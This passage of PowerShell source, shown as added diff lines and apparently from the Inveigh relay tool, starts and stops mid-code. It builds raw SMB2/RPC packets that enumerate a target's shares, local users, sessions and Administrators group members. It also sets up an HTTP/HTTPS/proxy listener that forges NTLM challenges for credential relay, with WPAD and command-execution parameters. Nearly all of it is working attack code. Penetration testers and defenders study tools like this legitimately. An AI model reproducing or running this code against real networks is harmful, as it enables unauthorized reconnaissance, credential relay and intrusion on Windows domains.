$client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))] + $response_item = [System.BitConverter]::ToString($response_item_bytes) + $response_item = $response_item -replace "-00","" + $response_item = $response_item.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_item = New-Object System.String ($response_item,0,$response_item.Length) + + if($response_item_length % 2) + { + $response_item_index += $response_item_length * 2 + 2 + } + else + { + $response_item_index += $response_item_length * 2 + } + + [Byte[]]$response_item_length_bytes = $client_receive[$response_item_index..($response_item_index + 3)] + $response_item_length = [System.BitConverter]::ToInt32($response_item_length_bytes,0) + $response_item_index += 12 + [Byte[]]$response_item_2_bytes = $client_receive[($response_item_index)..($response_item_index + ($response_item_length * 2 - 1))] + $response_item_2 = [System.BitConverter]::ToString($response_item_2_bytes) + $response_item_2 = $response_item_2 -replace "-00","" + $response_item_2 = $response_item_2.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_item_2 = New-Object System.String ($response_item_2,0,$response_item_2.Length) + + if($action_stage -eq 'Share') + { + + if($response_item -ne 'ADMIN$' -and $response_item -notmatch '^[a-zA-Z][\$]$' -and $response_item -ne 'IPC$' -and $response_item -ne 'print$') + { + $enumerate_share_list.Add($response_item) > $null + } + + } + else + { + + if($response_item -ne "\\" + $client.Client.LocalEndPoint.Address.IPAddressToString) + { + $enumerate_netsession_list.Add($response_item + "\" + $response_item_2) > $null + } + + } + + $i++ + } + + if($enumerate_share_list.Count -gt 0 -and $action_stage -eq 'Share') + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target custom shares:") > $null + $inveigh.output_queue.Add($enumerate_share_list -join ",") > $null + } + + if($enumerate_netsession_list.Count -gt 0 -and $action_stage -eq 'NetSession') + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target NetSessions:") > $null + $inveigh.output_queue.Add($enumerate_netsession_list -join ",") > $null + } + + $stage = 'CloseRequest' + } + + 'ParseUsers' + { + [Byte[]]$response_user_count_bytes = $client_receive[148..151] + $response_user_count = [System.BitConverter]::ToInt16($response_user_count_bytes,0) + $response_user_start = $response_user_count * 12 + 172 + $response_user_end = $response_user_start + $response_RID_start = 160 + $response_user_length_start = 164 + $enumerate_user_list = New-Object System.Collections.ArrayList + $i = 0 + + while($i -lt $response_user_count) + { + $response_user_object = New-Object PSObject + [Byte[]]$response_user_length_bytes = $client_receive[$response_user_length_start..($response_user_length_start + 1)] + $response_user_length = [System.BitConverter]::ToInt16($response_user_length_bytes,0) + [Byte[]]$response_RID_bytes = $client_receive[$response_RID_start..($response_RID_start + 3)] + $response_user_end = $response_user_start + $response_user_length + [Byte[]]$response_actual_count_bytes = $client_receive[($response_user_start - 4)..($response_user_start - 1)] + $response_actual_count = [System.BitConverter]::ToInt16($response_actual_count_bytes,0) + [Byte[]]$response_user_bytes = $client_receive[$response_user_start..($response_user_end - 1)] + + if($response_actual_count % 2) + { + $response_user_start += $response_user_length + 14 + } + else + { + $response_user_start += $response_user_length + 12 + } + + $response_user = [System.BitConverter]::ToString($response_user_bytes) + $response_user = $response_user -replace "-00","" + $response_user = $response_user.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $response_user = New-Object System.String ($response_user,0,$response_user.Length) + $response_user_length_start = $response_user_length_start + 12 + $response_RID_start = $response_RID_start + 12 + $i++ + + if($response_user -ne 'Guest') + { + $enumerate_user_list.Add($response_user) > $null + } + + } + + if($enumerate_user_list -gt 0) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $target local users:") > $null + $inveigh.output_queue.Add($enumerate_user_list -join ",") > $null + } + + $stage = 'CloseRequest' + } + + 'QueryGroupMember' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRQueryGroupMember $group_handle + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x10,0x00,0x00,0x00 0x00,0x00 0x19,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'QueryInfoRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x10,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2QueryInfoRequest 0x01 0x05 0x18,0x00,0x00,0x00 0x68,0x00 $file_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + 'ReadRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x08,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2ReadRequest $file_ID + $packet_SMB_data["Length"] = 0x00,0x04,0x00,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + 'RPCBind' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_RPC_data = New-PacketRPCBind $frag_length $call_ID $num_ctx_items 0x00,0x00 $named_pipe_UUID $named_pipe_UUID_version + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB_data = New-PacketSMB2WriteRequest $file_ID $RPC_data.Length + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $stage = 'SendReceive' + } + + 'SAMRCloseRequest' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SAMR_data = New-PacketSAMRClose $SAMR_domain_handle + $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data + $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x09,0x00,0x00,0x00 0x00,0x00 0x01,0x00 + $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data + $stage = 'SendReceive' + } + + 'SendReceive' + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if(Get-StatusPending $client_receive[12..15]) + { + $stage = 'StatusPending' + } + else + { + $stage = 'StatusReceived' + } + + } + + 'StatusPending' + { + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if([System.BitConverter]::ToString($client_receive[12..15]) -ne '03-01-00-00') + { + $stage = $stage_next + } + + } + + 'StatusReceived' + { + + switch ($stage_current) + { + + 'CloseRequest' + { + + if($step -eq 1) + { + $named_pipe = 0x73,0x00,0x61,0x00,0x6d,0x00,0x72,0x00 # samr + $stage = 'CreateRequest' + } + elseif($action_stage -eq 'Share' -and $share_list.Count -gt 0) + { + $stage = 'TreeConnect' + } + else + { + $stage = 'TreeDisconnect' + } + + } + + 'Connect2' + { + $step++ + + if($client_receive[119] -eq 3 -and [System.BitConverter]::ToString($client_receive[140..143]) -eq '05-00-00-00') + { + $RPC_access_denied = $true + $stage = 'CloseRequest' + } + else + { + $SID_count = 0x04,0x00,0x00,0x00 + [Byte[]]$SAMR_connect_handle = $client_receive[140..159] + $stage = 'OpenDomain' + } + + } + + 'Connect5' + { + $step++ + + if($client_receive[119] -eq 3 -and [System.BitConverter]::ToString($client_receive[140..143]) -eq '05-00-00-00') + { + $stage = 'CloseRequest' + } + else + { + $SID_count = 0x04,0x00,0x00,0x00 + [Byte[]]$SAMR_connect_handle = $client_receive[156..175] + $stage = 'OpenDomain' + } + + } + + 'CreateRequest' + { + + if($action_stage -eq 'Share') + { + $frag_length = 0x48,0x00 + $call_ID = 2 + $num_ctx_items = 0x01 + $named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88 + $named_pipe_UUID_version = 0x03,0x00 + $stage_next = 'NetShareEnumAll' + } + elseif($action_stage -eq 'NetSession') + { + $frag_length = 0x74,0x00 + $call_ID = 2 + $num_ctx_items = 0x02 + $named_pipe_UUID = 0xc8,0x4f,0x32,0x4b,0x70,0x16,0xd3,0x01,0x12,0x78,0x5a,0x47,0xbf,0x6e,0xe1,0x88 + $named_pipe_UUID_version = 0x03,0x00 + $stage_next = 'NetSessEnum' + } + elseif($step -eq 1) + { + $frag_length = 0x48,0x00 + $call_ID = 5 + $num_ctx_items = 0x01 + $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xac + $named_pipe_UUID_version = 0x01,0x00 + + if($action_stage -eq 'User') + { + $stage_next = 'Connect5' + } + else + { + $stage_next = 'Connect2' + } + + } + elseif($step -gt 2) + { + $frag_length = 0x48,0x00 + $call_ID = 14 + $num_ctx_items = 0x01 + $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab + $named_pipe_UUID_version = 0x00,0x00 + $named_pipe = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00 + $stage_next = 'LSAOpenPolicy' + } + else + { + $frag_length = 0x48,0x00 + $call_ID = 1 + $num_ctx_items = 0x01 + $named_pipe_UUID = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0xef,0x00,0x01,0x23,0x45,0x67,0x89,0xab + $named_pipe_UUID_version = 0x00,0x00 + $named_pipe = 0x78,0x57,0x34,0x12,0x34,0x12,0xcd,0xab,0x76,0x00,0x63,0x00 + $stage_next = 'LSAOpenPolicy' + } + + $file_ID = $client_receive[132..147] + + if($Refresh -and $stage -ne 'Exit') + { + Write-Output "[+] Session refreshed" # check + $stage = 'Exit' + } + elseif($step -ge 2) + { + $stage = 'RPCBind' + } + elseif($stage -ne 'Exit') + { + $stage = 'QueryInfoRequest' + } + + } + + 'EnumDomainUsers' + { + $step++ + $stage = 'ParseUsers' + } + + 'GetMembersInAlias' + { + $step++ + [Byte[]]$SID_array = $client_receive[140..([System.BitConverter]::ToInt16($client_receive[3..1],0) - 1)] + + if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') + { + $stage = 'SAMRCloseRequest' + } + else + { + $named_pipe = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc + $stage = 'CreateRequest' + } + + } + + 'Logoff' + { + $stage = 'Exit' + } + + 'LookupNames' + { + $step++ + [Byte[]]$SAMR_RID = $client_receive[152..155] + + if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') + { + $stage = 'SAMRCloseRequest' + } + else + { + + if($step -eq 4) + { + $stage = 'OpenGroup' + } + else + { + $stage = 'OpenAlias' + } + + } + + } + + 'LookupRids' + { + $step++ + $stage = 'ParseLookupRids' + } + + 'LSAClose' + { + $stage = 'CloseRequest' + } + + 'LSALookupSids' + { + $stage = 'ParseLookupSids' + } + + 'LSAOpenPolicy' + { + [Byte[]]$policy_handle = $client_receive[140..159] + + if($step -gt 2) + { + $stage = 'LSALookupSids' + } + else + { + $stage = 'LSAQueryInfoPolicy' + } + + } + + 'LSAQueryInfoPolicy' + { + [Byte[]]$LSA_domain_length_bytes = $client_receive[148..149] + $LSA_domain_length = [System.BitConverter]::ToInt16($LSA_domain_length_bytes,0) + [Byte[]]$LSA_domain_actual_count_bytes = $client_receive[168..171] + $LSA_domain_actual_count = [System.BitConverter]::ToInt32($LSA_domain_actual_count_bytes,0) + + if($LSA_domain_actual_count % 2) + { + $LSA_domain_length += 2 + } + + [Byte[]]$LSA_domain_SID = $client_receive[(176 + $LSA_domain_length)..(199 + $LSA_domain_length)] + $stage = 'LSAClose' + } + + 'NetSessEnum' + { + + if([System.BitConverter]::ToString($client_receive[172..175]) -eq '05-00-00-00' -or [System.BitConverter]::ToString($client_receive[12..15]) -ne '00-00-00-00') + { + $stage = 'CloseRequest' + } + else + { + $stage = 'ParseSRVSVC' + } + + } + + 'NetShareEnumAll' + { + $stage = 'ParseSRVSVC' + } + + 'OpenAlias' + { + $step++ + [Byte[]]$SAMR_policy_handle = $client_receive[140..159] + + if([System.BitConverter]::ToString($client_receive[156..159]) -eq '73-00-00-c0') + { + $stage = 'SAMRCloseRequest' + } + else + { + $stage = 'GetMembersInAlias' + } + + } + + 'OpenDomain' + { + $step++ + [Byte[]]$SAMR_domain_handle = $client_receive[140..159] + + if($action_stage -eq 'User') + { + $stage = 'EnumDomainUsers' + } + else + { + $stage = 'LookupNames' + } + + } + + 'OpenGroup' + { + $step++ + [Byte[]]$group_handle = $client_receive[140..159] + $stage = 'QueryGroupMember' + } + + 'QueryGroupMember' + { + $step++ + [Byte[]]$RID_count_bytes = $client_receive[144..147] + $RID_count = [System.BitConverter]::ToInt16($RID_count_bytes,0) + [Byte[]]$RID_list = $client_receive[160..(159 + ($RID_count * 4))] + $stage = 'LookupRids' + } + + 'QueryInfoRequest' + { + $file_ID = $client_receive[132..147] + $stage = 'RPCBind' + } + + 'ReadRequest' + { + $stage = $stage_next + } + + 'RPCBind' + { + $stage = 'ReadRequest' + } + + 'SAMRCloseRequest' + { + $step++ + + if($step -eq 8) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $Group group not found") > $null + $stage = 'TreeDisconnect' + } + else + { + + if($step -eq 5 -and $action_stage -eq 'Group') + { + $LSA_domain_SID = 0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00 + $SID_count = 0x01,0x00,0x00,0x00 + } + + $stage = 'OpenDomain' + } + + } + + 'TreeConnect' + { + $tree_ID = $client_receive[40..43] + $access_mask = $null + + if($client_receive[76] -eq 92) + { + $tree_access_mask = 0x00,0x00,0x00,0x00 + } + else + { + $tree_access_mask = $client_receive[80..83] + } + + if($share_list.Count -gt 0) + { + + if($client_receive[76] -ne 92) + { + + foreach($byte in $tree_access_mask) + { + $access_mask = [System.Convert]::ToString($byte,2).PadLeft(8,'0') + $access_mask + } + + $response_object_list | Where-Object {$_.Share -eq $share_list[$j]} | ForEach-Object {$_."Access Mask" = $access_mask} + $stage = 'TreeDisconnect' + } + else + { + $access_mask = "00000000000000000000000000000000" + $response_object_list | Where-Object {$_.Share -eq $share_list[$j]} | ForEach-Object {$_."Access Mask" = $access_mask} + $stage = 'TreeConnect' + $j++ + } + + } + else + { + + if($action_stage -eq 'Share' -or $action_stage -eq 'NetSession') + { + $named_pipe = 0x73,0x00,0x72,0x00,0x76,0x00,0x73,0x00,0x76,0x00,0x63,0x00 # srvsvc + } + else + { + $named_pipe = 0x6c,0x00,0x73,0x00,0x61,0x00,0x72,0x00,0x70,0x00,0x63,0x00 # lsarpc + } + + $tree_IPC = $tree_ID + $stage = 'CreateRequest' + } + + } + + 'TreeDisconnect' + { + + if($Action -eq 'All') + { + + switch ($action_stage) + { + + 'group' + { + + if($RPC_access_denied) + { + $action_stage = "share" + } + else + { + $action_stage = "user" + $step = 0 + } + + $stage = "treeconnect" + } + + 'user' + { + $action_stage = "netsession" + $stage = "treeconnect" + } + + 'netsession' + { + $action_stage = "share" + $stage = "treeconnect" + } + + 'share' + { + + if($share_list.Count -gt 0 -and $j -lt $share_list.Count - 1) + { + $stage = 'TreeConnect' + $j++ + } + elseif($share_list.Count -gt 0 -and $j -eq $share_list.Count - 1) + { + $tree_ID = $tree_IPC + $stage = 'TreeDisconnect' + $j++ + } + else + { + + if($attack -contains 'session') + { + $stage = 'Exit' + } + else + { + $stage = 'Logoff' + } + + } + + } + + } + + } + else + { + + if($action_stage -eq 'Share' -and $share_list.Count -gt 0 -and $j -lt $share_list.Count - 1) + { + $stage = 'TreeConnect' + $j++ + } + elseif($action_stage -eq 'Share' -and $share_list.Count -gt 0 -and $j -eq $share_list.Count - 1) + { + $tree_ID = $tree_IPC + $stage = 'TreeDisconnect' + $j++ + } + else + { + + if($inveigh_session -and !$Logoff) + { + $stage = 'Exit' + } + else + { + $stage = 'Logoff' + } + + } + + } + + } + + } + + } + + 'TreeConnect' + { + $message_ID++ + $stage_current = $stage + + if($share_list.Count -gt 0) + { + $path = "\\" + $Target + "\" + $share_list[$j] + $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) + } + + $packet_SMB_header = New-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2TreeConnectRequest $path_bytes + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + 'TreeDisconnect' + { + $message_ID++ + $stage_current = $stage + $packet_SMB_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB_data = New-PacketSMB2TreeDisconnectRequest + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $stage = 'SendReceive' + } + + } + + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim()) stage $stage_current") > $null + $stage -ne 'Exit' + } + + } + + For($i = 0;$i -lt $enumerate_group_user_list.Count;$i++) + { + $user_entry = $enumerate_group_user_list[$i] + $user_entry_split = $user_entry.Split("\") + $domain = $user_entry_split[0] + $username = $user_entry_split[1] + + if($inveigh.domain_mapping_table.ContainsKey($domain)) + { + $user_update = ($username + "@" + $inveigh.domain_mapping_table.$domain).ToUpper() + $enumerate_group_user_list[$i] = $user_update + } + + } + + For($i = 0;$i -lt $enumerate_group_group_list.Count;$i++) + { + $group_entry = $enumerate_group_group_list[$i] + $group_entry_split = $group_entry.Split("\") + $domain = $group_entry_split[0] + $group = $group_entry_split[1] + + if($inveigh.domain_mapping_table.ContainsKey($domain)) + { + $group_update = ($group + "@" + $inveigh.domain_mapping_table.$domain).ToUpper() + $enumerate_group_group_list[$i] = $group_update + } + + } + + $inveigh.session_message_ID_table[$inveigh.session_count] = $message_ID + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -eq $target) + { + $target_index = $i + break + } + + } + + if($EnumerateGroup -eq 'Administrators') + { + $inveigh.enumerate[$target_index]."Administrator Users" = $enumerate_group_user_list + $inveigh.enumerate[$target_index]."Administrator Groups" = $enumerate_group_group_list + } + + $inveigh.enumerate[$target_index]."Local Users" = $enumerate_user_list + $inveigh.enumerate[$target_index].Shares = $enumerate_share_list + $net_sessions_unique = @() + + foreach($net_session_entry in $enumerate_netsession_list) + { + + if($inveigh.enumerate[$target_index].NetSessions -notcontains $net_session_entry) + { + $net_sessions_unique += $net_session_entry + } + + $net_session_IP = ($net_session_entry.Split("\"))[2] + $net_session_user = ($net_session_entry.Split("\"))[3] + + for($i = 0;$i -lt $inveigh.enumerate.Count;$i++) + { + + if($inveigh.enumerate[$i].IP -contains $net_session_IP) + { + $net_session_index = $i + break + } + + } + + if($net_session_index -and $inveigh.enumerate[$net_session_index].NetSessions -notcontains $net_session_user) + { + $inveigh.enumerate[$net_session_index]."NetSessions Mapped" += $net_session_user + } + else + { + $inveigh.enumerate.Add((New-RelayEnumObject -IP $net_session_IP -NetSessionsMapped $net_session_user)) > $null + } + + } + + $inveigh.enumerate[$target_index].NetSessions += $net_sessions_unique + + if(!$RPC_access_denied) + { + $inveigh.enumerate[$target_index].Enumerate = $(Get-Date -format s) + } + + } + +} + +# HTTP/HTTPS/Proxy Server ScriptBlock +$HTTP_scriptblock = +{ + param ($Attack,$Challenge,$Command,$Enumerate,$EnumerateGroup,$FailedLoginThreshold,$HTTPIP,$HTTPPort, + $HTTPS_listener,$Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$RepeatEnumerate, + $RepeatExecute,$Service,$SMB_version,$SessionLimitPriv,$SessionLimitUnpriv,$SessionLimitShare, + $SessionPriority,$Target,$TargetMode,$TargetRefresh,$Username,$WPADAuth,$WPADAuthIgnore,$WPADResponse) + + function Get-NTLMChallengeBase64 + { + param ([String]$Challenge,[String]$ClientIPAddress,[Int]$ClientPort) + + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + if($Challenge) + { + $HTTP_challenge = $Challenge + $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null + $hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.computer_name) + $netBIOS_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.netBIOS_domain) + $DNS_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.DNS_domain) + $DNS_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.DNS_computer_name) + $hostname_length = [System.BitConverter]::GetBytes($hostname_bytes.Length)[0,1] + $netBIOS_domain_length = [System.BitConverter]::GetBytes($netBIOS_domain_bytes.Length)[0,1] + $DNS_domain_length = [System.BitConverter]::GetBytes($DNS_domain_bytes.Length)[0,1] + $DNS_hostname_length = [System.BitConverter]::GetBytes($DNS_hostname_bytes.Length)[0,1] + $target_length = [System.BitConverter]::GetBytes($hostname_bytes.Length + $netBIOS_domain_bytes.Length + $DNS_domain_bytes.Length + $DNS_domain_bytes.Length + $DNS_hostname_bytes.Length + 36)[0,1] + $target_offset = [System.BitConverter]::GetBytes($netBIOS_domain_bytes.Length + 56) + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + + $netBIOS_domain_length + + $netBIOS_domain_length + + 0x38,0x00,0x00,0x00 + + 0x05,0x82,0x89,0xa2 + + $HTTP_challenge_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $target_length + + $target_length + + $target_offset + + 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f + + $netBIOS_domain_bytes + + 0x02,0x00 + + $netBIOS_domain_length + + $netBIOS_domain_bytes + + 0x01,0x00 + + $hostname_length + + $hostname_bytes + + 0x04,0x00 + + $DNS_domain_length + + $DNS_domain_bytes + + 0x03,0x00 + + $DNS_hostname_length + + $DNS_hostname_bytes + + 0x05,0x00 + + $DNS_domain_length + + $DNS_domain_bytes + + 0x07,0x00,0x08,0x00 + + $HTTP_timestamp + + 0x00,0x00,0x00,0x00,0x0a,0x0a + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + + return $NTLM + } + + if($HTTPS_listener) + { + $HTTP_type = "HTTPS" + } + elseif($proxy_listener) + { + $HTTP_type = "Proxy" + } + else + { + $HTTP_type = "HTTP" + } + + if($HTTPIP -ne '0.0.0.0') + { + $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) + $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) + } + + $HTTP_running = $true + $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint + $HTTP_client_close = $true + $process_ID_bytes = Get-ProcessIDArray + $relay_step = 0 + + if($proxy_listener) + { + $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) + $HTTP_listener.Server.LingerState = $HTTP_linger + } + + try + { + $HTTP_listener.Start() + } + catch + { + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") + $HTTP_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") + } + + } + + :HTTP_listener_loop while($inveigh.relay_running -and $HTTP_running) + { + $TCP_request = $null + $TCP_request_bytes = New-Object System.Byte[] 4096 + $HTTP_send = $true + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: text/html") + $HTTP_header_cache_control = $null + $HTTP_header_authenticate = $null + $HTTP_header_authenticate_data = $null + $HTTP_message = '' + $HTTP_header_authorization = '' + $HTTP_header_host = $null + $HTTP_header_user_agent = $null + $HTTP_request_raw_URL = $null + $NTLM = "NTLM" + + while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) + { + Start-Sleep -m 10 + if(!$inveigh.relay_running) + { + break HTTP_listener_loop + } + + } + + if($relay_step -gt 0) + { + $relay_reset++ + + if($relay_reset -gt 2) + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay attack resetting") > $null + $relay_step = 0 + } + + } + else + { + $relay_reset = 0 + } + + if($HTTPS_listener) + { + + if(!$HTTP_client.Connected -and $inveigh.relay_running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_clear_stream = $HTTP_client.GetStream() + $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) + $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) + $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) + } + + [byte[]]$SSL_request_bytes = $null + + do + { + $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] + } while ($HTTP_clear_stream.DataAvailable) + + $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) + } + else + { + + if(!$HTTP_client.Connected -or 